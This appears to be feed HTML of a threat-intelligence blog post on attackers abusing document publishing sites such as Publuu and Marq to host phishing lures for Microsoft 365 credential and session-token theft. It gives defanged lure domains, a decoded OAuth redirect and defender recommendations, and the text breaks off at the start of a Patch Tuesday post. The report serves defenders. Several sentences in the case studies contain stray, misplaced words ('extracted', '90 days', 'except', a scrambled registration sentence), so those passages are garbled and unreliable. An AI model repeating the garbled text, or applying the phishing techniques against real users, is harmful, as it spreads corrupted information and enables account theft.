phishing lures on DDP sites increases the likelihood of a successful phishing attack, since these sites often have a favorable reputation, are unlikely to appear on web filter blocklists, and may instill a false sense of security in users who recognize them as familiar or legitimate.</li><li>DDP sites allow adversaries to quickly deploy and decommission malicious documents on a single platform. Talos IR also observed an adversary move between DDP sites within a short period.</li></ul><img src="https://blog.talosintelligence.com/content/images/2024/03/Talos_on_the_radar-1.jpg" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft"><p>Talos IR has responded to several recent incidents in which threat actors used legitimate digital document publishing sites such as Publuu and Marq to host phishing documents as part of ongoing credential and session harvesting attacks. Threat actors have used a similar tactic of deploying phishing lures on well-known cloud storage and contract management sites such as Google Drive, OneDrive, SharePoint, DocuSign and Oneflow. However, DDP sites could represent a blind spot for defenders, because they are unfamiliar to trained users and unlikely to be flagged by email and web content filtering controls. Recent malicious activity observed across these platforms underscores the need for security teams to ensure that phishing protections and user awareness training programs consider these and similar sites.</p><h2 id="background-and-observations">Background and observations</h2><p>&#xA0;&#x201C;Digital Document Publishing sites&#x201D; refers to websites that allow users to upload and share PDF files in a browser-based flipbook format. Visitors can view an entire PDF by flipping from page to page without downloading the document, and some DDP sites offer features that allow other types of interaction with the document. Examples of DDP sites include Publuu, Marq, FlipSnack, Issuu, FlippingBook, RelayTo and SimpleBooklet.</p><p>The sites discussed in this blog are not malicious. Rather, they are being abused by threat actors.</p><h3 id="delivery-mechanism">Delivery mechanism</h3><p>Threat actors integrate DDP sites as a secondary or intermediate stage of the attack chain, which follows tried-and-true phishing methods.</p><ul><li>The victim receives an email containing a link to a document hosted on a legitimate DDP site. The email&#x2019;s subject and/or body often includes the phrase &#x201C;New Document from [sender organization],&#x201D; and leaves the &#x201C;To&#x201D; header blank. Instead, the actors load the target list into the &#x201C;BCC&#x201D; field.</li><li>The DDP-hosted document includes a link to an external, adversary-controlled site.</li><li>When clicked, the link either moves the victim directly to the adversary-controlled site, or through a series of redirects. Talos IR also observed the inclusion of Cloudflare CAPTCHAs as part of some redirects, an adversary technique <a href="https://cofense.com/blog/google-amp-the-newest-of-evasive-phishing-tactic/">reported by Cofense</a>, <a href="https://www.netskope.com/blog/evasive-phishing-campaign-steals-cloud-credentials-using-cloudflare-r2-and-turnstile">Netskope</a> and other security teams over the past six months.</li><li>The victim arrives at the adversary-controlled site, which mimics a legitimate authentication page and is designed to capture user credentials or session tokens during authentication.</li></ul><p>Attacks leveraging DDP sites for credential and session token theft often take place through unauthorized access to another legitimate email inbox. In a sort of &#x201C;cascading&#x201D; <a href="https://blog.talosintelligence.com/business-email-compromise/">business email compromise (BEC)</a> process, the threat actor creates infrastructure and phishing lures to target a specific victim, then leverages that victim&#x2019;s established connections to conduct follow-on attacks against other organizations. A portion of the infrastructure created for the original target may be reused, while other portions are recreated to increase the likelihood of success during the subsequent attacks.&#xA0;</p><h3 id="lure-customization">Lure customization</h3><p>DDP sites offer custom capabilities that lend credence to a phishing attack. Not only can the threat actor customize the uploaded phishing document, the web page hosting that document can also be modified. Page customization options include changing the background, banner, border or HTML Title tag. These quick configurations create more convincing lures and are likely to garner a higher click-through rate to the credential harvesting page.&#xA0;</p><p>DDP-hosted lure customization observed during investigation ranged from pages listing the organization name only in the HTML Title tag, to a highly customized lure and landing page combination targeting users of a Canadian telecom provider. In the latter case, the final credential harvesting page was a near replica of the provider&#x2019;s legitimate user login page, though it was hosted on an unrelated webwave[.]dev subdomain.&#xA0;</p><h3 id="historical-trends">Historical trends</h3><p>Expanding the scope of the investigation to include historical data reveals a possible trend where threat actors migrate between DDP sites or rapidly activate and deactivate similar campaigns on the same site over time. For example, Talos IR observed a cluster of activity on SimpleBooklet from late October to early November 2020, and another on RelayTo in early September 2023. More recently, an adversary was observed operating the same credential-harvesting attack, first on Publuu, then later Issuu.&#xA0;</p><h2 id="adversary-advantages-create-challenges-for-defenders">Adversary advantages create challenges for defenders</h2><p>DDP sites create advantages for threat actors seeking to thwart contemporary phishing protections. The same features and benefits that attract legitimate users to these sites can be abused by threat actors to increase the efficacy of a phishing attack. Given some of these advantages, threat actors may find DDP sites as useful as creating spoofed domains or compromising legitimate sites for phishing and credential theft.</p><h3 id="ddp-sites-offer-low-cost-transient-file-hosting">DDP sites offer low-cost, transient file hosting</h3><p>Many DDP sites offer either a free tier or a no-cost trial period where a defined number of files can be published for a limited time. No-cost trial periods usually require only limited personal identifiers and no payment methods. Threat actors can quickly and easily create multiple free accounts, with a varying number of malicious pages per account.</p><p>Some DDP sites also allow a link expiration to be set for published content. This feature creates a &#x201C;set it and forget it&#x201D; capability for threat actors, who are no longer required to closely track where phishing documents have been deployed so they can be decommissioned. Instead, a link expiration date and time is configured during page creation, ensuring the content will be rendered unavailable automatically, usually after only a short time.</p><p>Talos IR observed instances where an adversary launched, then disabled a DDP page in fewer than 24 hours, and others where the DDP page was left active but the final landing page on the adversary-controlled domain was removed through <a href="https://attack.mitre.org/techniques/T1568/001/">DNS fast fluxing</a> or another mechanism.</p><p>This transient nature of DDP pages creates challenges for security teams and complicates the incident response process. While it&#x2019;s possible to detect, create internal alerts for, and/or notify security personnel about a DDP-hosted lure, the brief availability of the pages creates a compressed response time for defenders. Understanding the theme of the lure, the associated adversary-controlled domains, and the intent of the attack in such a short time may be difficult, even for experienced security teams.</p><h3 id="ddp-sites-usually-have-a-favorable-web-reputation">DDP sites usually have a favorable web reputation.</h3><p>The ratio of legitimate to compromised pages hosted on DDP sites is likely quite low. While that ratio seemed to vary by DDP provider, Talos IR found that most pages created recently across all DDP sites hosted legitimate content. Unless this trend continues to shift toward hosting greater volumes of malicious content, these sites will maintain a favorable reputation score and are less likely to be included in automated blocklists.&#xA0;</p><p>A favorable web reputation score may also mislead users who investigate the DDP site using popular open-source intelligence tools or a basic internet search, leading to higher click and credential capture rates than sites with an unknown or poor reputation.</p>
<!--kg-card-begin: html-->
<table class="MsoTable15Grid5DarkAccent4" border="1" cellspacing="0" cellpadding="0" width="732" style="width:549.0pt;margin-left:0pt;border-collapse:collapse;
 border:none;mso-border-alt:solid windowtext .5pt;mso-yfti-tbllook:1184;
 mso-padding-alt:0in 5.4pt 0in 5.4pt;mso-border-insideh:.5pt solid windowtext;
 mso-border-insidev:.5pt solid windowtext">
 <tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes">
  <td width="144" valign="top" style="width:1.5in;border:solid windowtext 1.0pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:5"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">Site<o:p></o:p></span></b></p>
  </td>
  <td width="180" valign="top" style="width:135.0pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:1"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">Domain
  Registration<o:p></o:p></span></b></p>
  </td>
  <td width="198" valign="top" style="width:148.5pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:1"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">Umbrella
  Unique Visitors Score*<o:p></o:p></span></b></p>
  </td>
  <td width="210" valign="top" style="width:157.5pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:1"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">Umbrella
  Reputation Score**<o:p></o:p></span></b></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:0">
  <td width="144" valign="top" style="width:1.5in;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:68"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">Publuu<o:p></o:p></span></b></p>
  </td>
  <td width="180" valign="top" style="width:135.0pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">2019-02-28
  (IS)<o:p></o:p></span></p>
  </td>
  <td width="198" valign="top" style="width:148.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">63<o:p></o:p></span></p>
  </td>
  <td width="210" valign="top" style="width:157.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">53
  (Medium Risk)<o:p></o:p></span></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:1">
  <td width="144" valign="top" style="width:1.5in;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:4"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">Marq<o:p></o:p></span></b></p>
  </td>
  <td width="180" valign="top" style="width:135.0pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">2004-06-19
  (IS)<o:p></o:p></span></p>
  </td>
  <td width="198" valign="top" style="width:148.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">76<o:p></o:p></span></p>
  </td>
  <td width="210" valign="top" style="width:157.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">9 (Low
  Risk)<o:p></o:p></span></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:2">
  <td width="144" valign="top" style="width:1.5in;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:68"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">FlipSnack<o:p></o:p></span></b></p>
  </td>
  <td width="180" valign="top" style="width:135.0pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">2010-06-03
  (US)<o:p></o:p></span></p>
  </td>
  <td width="198" valign="top" style="width:148.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">96<o:p></o:p></span></p>
  </td>
  <td width="210" valign="top" style="width:157.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">11
  (Low Risk)<o:p></o:p></span></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:3">
  <td width="144" valign="top" style="width:1.5in;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:4"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">Issuu<o:p></o:p></span></b></p>
  </td>
  <td width="180" valign="top" style="width:135.0pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">2007-04-19
  (GB)<o:p></o:p></span></p>
  </td>
  <td width="198" valign="top" style="width:148.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">100<o:p></o:p></span></p>
  </td>
  <td width="210" valign="top" style="width:157.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">9 (Low
  Risk)<o:p></o:p></span></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:4;mso-yfti-lastrow:yes">
  <td width="144" valign="top" style="width:1.5in;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:68"><b><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">RelayTo<o:p></o:p></span></b></p>
  </td>
  <td width="180" valign="top" style="width:135.0pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">2013-12-02
  (US)<o:p></o:p></span></p>
  </td>
  <td width="198" valign="top" style="width:148.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">53<o:p></o:p></span></p>
  </td>
  <td width="210" valign="top" style="width:157.5pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="mso-yfti-cnfc:64"><span style="font-family:&quot;CiscoSansTT&quot;,sans-serif">58
  (Medium Risk) <o:p></o:p></span></p>
  </td>
 </tr>
</tbody></table>
<!--kg-card-end: html-->
<p><em>* Umbrella&#x2019;s Unique Visitors Score is included to illustrate estimated traffic volume per site as of Feb. 2, 2024.</em></p><p><em>** Reputation Score as of Feb. 2, 2024.</em></p><h3 id="ddp-productivity-features-may-inhibit-malicious-link-detection">DDP productivity features may inhibit malicious link detection.</h3><p>Talos IR found that productivity features on at least one DDP site inhibited traditional methods of extracting the true URL from a phishing link. During the investigation of a malicious document hosted on Publuu, a custom sub-menu was displayed when the user right-clicked on the URL. While this sub-menu included options that would benefit legitimate users, it did not provide a clear option to copy the URL behind the &#x201C;View Online PDF&#x201D; hyperlink. Further, no tooltip popups appeared to show the URL when hovering over the link.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture1.png" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="936" height="658" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/03/Picture1.png 600w, https://blog.talosintelligence.com/content/images/2024/03/Picture1.png 936w" sizes="(min-width: 720px) 720px"></figure><h2 id="case-studies">Case studies</h2><p>Two recent Talos IR engagements involved the use of a DDP site as part of potential credential and session token-harvesting attacks.</p><h3 id="publuu">Publuu</h3><p>Several individuals at the targeted organization received phishing emails from a compromised email address belonging to a trusted third-party vendor with the subject, &#x201C;New Document from [third-party vendor]&#x201D;.</p><p>The link included in the body of the email led to a Publuu flipbook, with a URL like <code>https://publuu[.]com/flip-book/[6_digit_identifier]/[6_digit_identifier]</code>. The phishing document was a generic, widely used file observed in similar attacks on other DDP sites. However, while the phishing document was reused, the adversary had modified the Publuu page with the sender organization&#x2019;s name to lend authenticity to the document.</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture1.jpg" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="1430" height="1045" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/03/Picture1.jpg 600w, https://blog.talosintelligence.com/content/images/size/w1000/2024/03/Picture1.jpg 1000w, https://blog.talosintelligence.com/content/images/2024/03/Picture1.jpg 1430w" sizes="(min-width: 720px) 720px"></figure><p>Clicking the &#x201C;VIEW ONLINE PDF&#x201D; link directed the user to a Cloudflare CAPTCHA, a technique described in the publications by Cofense and Netskope linked above. Use of the CAPTCHA likely has a dual purpose, as it both protects the credential harvesting page from automated access while giving the impression of a legitimate site to users who fall victim to the phishing link.</p><p>After completing the CAPTCHA, the victim is directed to a convincing replica of a Microsoft 365 authentication page. The URL for the page contains a lengthy alphanumeric string, which may act as an identifier for the visitor. The adversary-controlled domain associated with the authentication page was <code>atlas-aerspace[.]online</code>extracted. The customization of the original Publuu page to the target organization in contrast to this unrelated spoofed domain suggests this incident may have been part of a cascading BEC attack.&#xA0;&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture3.jpg" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="468" height="350"></figure><p>Talos IR later identified an attack chain hosted on the Issuu DDP site with similar indicators. The phishing document was nearly identical, though, unlike the Publuu link, this link URL leveraged the Google AMP to Cloudflare CAPTCHA flow described in the Cofense blog. The credential harvest page was ultimately located at the domain <code>aerospace-atlas[.]online</code> and included the same identifier-style URL string as the one observed with the <code>atlas-aerspace[.]online</code>90 days domain.</p><p>In aggregate, the following similar domains &#x2013; all hosted by Cloudflare &#x2013; were registered within 90 days. The first two domains were found to be associated with phishing lures hosted on DDP sites, suggesting an effort to target users of the legitimate <code>atlas-aerospace[.]com</code> domain.</p><ul><li><code>aerospace-atlas[.]online</code> (registered Jan. 24, 2024)</li><li><code>atlas-aerspace[.]online</code> (registered Dec. 19, 2023)</li><li><code>atlas-aerspace[.]com</code> (registered Oct. 25, 2023)</li></ul><p>Talos provided notification through established channels so affected organizations could review and address this activity.</p><h3 id="marq">Marq</h3><p>Talos IR also responded to an incident involving the Marq DDP site. The Marq page hosting the phishing document had already been deactivated, but Talos IR used other forensic data to determine the URL of the associated credential harvesting page. The first part of that URL was <code>https[:]//mvnwsenterprise[.]top:443/aadcdn.msauth.net/</code>.</p><p>While the Marq page could not be accessed, Talos IR identified similar pages through open- and closed-source intelligence. These pages were customized to show the sender organization in the HTML Title tag (displayed in the browser tab) but otherwise used an identical &#x201C;Microsoft365 Online Fax&#x201D; lure. Unlike some activity clusters on other DDP sites, each page was configured with a unique URL using the <code>.top</code> top-level domain, such as <code>onedrivesmncs[.]top</code>, <code>onedrivemwsamc[.]top</code>, and <code>347nsm239mws934[.]top</code>. Another common characteristic was the presence of the URL query string <code>tkmilric</code> in all URLs embedded in the phishing document.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture4.jpg" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="525" height="311"></figure><p>Once clicked, the link passed the user to the spoofed Microsoft authentication page, which resided at the redirect.cgi path of the unique `.top` domain. The URL query string for this page included a &#x201C;ref&#x201D; parameter, which contained a Base64 and URL encoded value. An example of the decoded value is:</p><p><code>https://login.microsoftonline.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&amp;redirect_uri=https://outlook.office.com/owa/&amp;resource=00000002-0000-0ff1-ce00-000000000000&amp;response_mode=form_post&amp;response_type=code id_token&amp;scope=openid&amp;msafed=1&amp;msaredir=1&amp;client-request-id=<strong>[REDACTED]</strong>&amp;protectedtoken=true&amp;claims={&quot;id_token&quot;:{&quot;xms_cc&quot;:{&quot;values&quot;:[&quot;CP1&quot;]}}}&amp;nonce=<strong>[REDACTED]</strong>&amp;state=<strong>[REDACTED]</strong></code></p><p>The value <code>00000002-0000-0ff1-ce00-000000000000</code> found in the <code>client_id</code> and <code>resource</code> parameters is the <a href="https://learn.microsoft.com/en-us/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in">Microsoft Application ID</a> for Office 365 Exchange Online. The claims string <code>{&quot;id_token&quot;:{&quot;xms_cc&quot;:{&quot;values&quot;:[&quot;CP1&quot;]}}}</code> is a required component for a client application to <a href="https://learn.microsoft.com/en-us/entra/identity-platform/claims-challenge?tabs=dotnet#claims-request">communicate its capabilities to Microsoft Entra ID in an OAuth 2.0 authorization flow</a>. These characteristics likely indicate a campaign to capture session tokens for Microsoft 365 components using the same lure and customized or DGA-generated domains.</p><h3 id="other-ddp-sites">Other DDP Sites</h3><p>Following these investigations, Talos IR identified similar activity on other DDP sites. The following examples are provided to demonstrate similarities across DDP sites and are not related to any ongoing or prior Talos IR investigations.</p><h4 id="flipsnack">Flipsnack</h4><p>Talos IR identified at least two lure formats used recently on FlipSnack &#x2013; one eFax PDF-themed lure, and one SharePoint PDF-themed lure. Both landing pages had been removed by the adversary at the time of Talos IR&#x2019;s review, but the URL for the adversary-controlled page associated with the SharePoint lure (<code>afurrytailwedding[.]com/cure/MSthOffice/index.php</code>except) could indicate a potential Microsoft 365 credential harvesting effort. Neither lure had been customized to target a specific victim.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture6.png" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="468" height="339"></figure><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture7.png" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="468" height="359"></figure><h4 id="issuu">Issuu</h4><p>Malicious documents found on Issuu were very similar to those observed on Publuu, except for minor details like a &#x201C;Reference&#x201D; number and the link URL. Of the two links tested by Talos IR, one was redirected through an intermediary site before reaching the landing page. The other leveraged the Google AMP and Cloudflare CAPTCHA flow reported by Cofense. Again, the landing pages for both examples had been removed by the adversary at the time of Talos IR&#x2019;s review.</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture8.jpg" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="516" height="396"></figure><h4 id="relayto">RelayTo</h4><p>Talos IR located at least two different phishing lures that had been deployed to the RelayTo site in early September 2023. One of these lures was published repeatedly from multiple RelayTo accounts with modifications to only the name of the associated organization. The link in each lure &#x2013; <code>https[:]//secure-docsx[.]com/efgh5678</code> &#x2013; was the same. The <code>secure-docsx[.]com</code>before the domain had been registered a week this activity began and was followed by the creation of the <code>secure-docu[.]com</code> domain, with which it shared registrant details.</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture9.jpg" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="497" height="326"></figure><h4 id="simplebooklet">SimpleBooklet</h4><p>Talos IR could not locate a malicious page on the SimpleBooklet site that had not already been deactivated. However, a review of related URLs in VirusTotal suggests that an adversary made prolific use of this site for phishing and possible credential theft from October 2020 through January 2021.</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Picture10.jpg" class="kg-image" alt="Threat actors leverage document publishing sites for ongoing credential and session token theft" loading="lazy" width="570" height="324"></figure><h2 id="defender-actions">Defender actions</h2><p>Defenders should consider the following actions to help defend against phishing attacks that leverage DDP sites.</p><ul><li>Block common DDP sites via border security devices, endpoint detection and response (EDR) like Cisco Secure Endpoint, web content filtering, and/or DNS security controls if access to these sites is not required for normal business operations. If blocking these sites will disrupt normal operations, develop a procedure to ensure malicious domains identified in DDP-hosted phishing lures can be quickly blocked.</li><li>Configure email security controls to detect and alert on links in emails containing common DDP site URLs.</li><li>Leverage threat intelligence to quickly identify newly created sites related to known threats &#x2013; in this case, new DDP sites that may be leveraged by threat actors.</li><li>Monitor for behavioral trends within the organization&#x2019;s internal environment that could indicate coordinated malicious activity, including activity to blocked sites.</li><li>Update user security awareness training to include information about DDP sites and other cloud-hosted phishing attack methods. Reinforce a &#x201C;see something, say something&#x201D; mentality when users are uncertain about a site&#x2019;s legitimacy.</li></ul><p>End users can also support defenders by remaining vigilant for documents shared over unusual or uncommon sites, even if those sites are legitimate and have a favorable reputation, and by following their organization&#x2019;s guidelines for reporting suspicious emails.</p>]]></content:encoded></item><item><title><![CDATA[Another Patch Tuesday with no zero-days, only two critical vulnerabilities disclosed by Microsoft]]></title><description><![CDATA[March’s Patch Tuesday is relatively light, containing 60 vulnerabilities — only two labeled “critical.”]]></description><link>https://blog.talosintelligence.com/microsoft-patch-tuesday-march-2024/</link><guid isPermaLink="false">65f09985405eeb0001947265</guid><category><![CDATA[Patch Tuesday]]></category><dc:creator><![CDATA[Jonathan Munshaw]]></dc:creator><pubDate>Tue, 12 Mar 2024 18:07:55 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/patch-tuesday.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/patch-tuesday.jpg" alt="Another Patch Tuesday with no zero-days, only two critical vulnerabilities disclosed by Microsoft"><p>For the second month in 2024, there are no actively exploited vulnerabilities included in this month&#x2019;s security update from Microsoft.&#xA0;</p><p>March&#x2019;s Patch Tuesday is relatively light, containing 60 vulnerabilities &#x2014; only two labeled &#x201C;critical.&#x201D; <a href="https://blog.talosintelligence.com/microsoft-patch-tuesday-feb-2024/" rel="noreferrer noopener"><u>Last month&#x2019;s Patch Tuesday</u></a> included more than 70 security vulnerabilities affecting Microsoft products, and there were <a href="https://blog.talosintelligence.com/microsoft-patch-tuesday-january-2024/" rel="noreferrer noopener"><u>even fewer in January</u></a> and <a href="https://blog.talosintelligence.com/microsoft-patch-tuesday-december-2023/" rel="noreferrer noopener"><u>December</u></a>, especially when compared to 2023.&#xA0;&#xA0;</p><p>Still, both critical vulnerabilities addressed this month are notable because they affect Windows Hyper-V, potentially allowing an adversary to target a host machine from a virtual machine environment.&#xA0;&#xA0;&#xA0;</p><p>All other vulnerabilities Microsoft disclosed Tuesday are considered to be of &#x201C;important&#x201D; severity.&#xA0;&#xA0;</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21408" rel="noreferrer noopener"><u>CVE-2024-21408</u></a> is a denial-of-service vulnerability in Windows Hyper-V that could allow an adversary to target a host machine from inside a VM. However, Microsoft did not provide any additional details on how this denial-of-service could occur, and despite being listed as critical, it only scored a 5.5 out of 10 in the CVSS severity scoring system.&#xA0;&#xA0;&#xA0;</p><p>The other critical issue is <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21407" rel="noreferrer 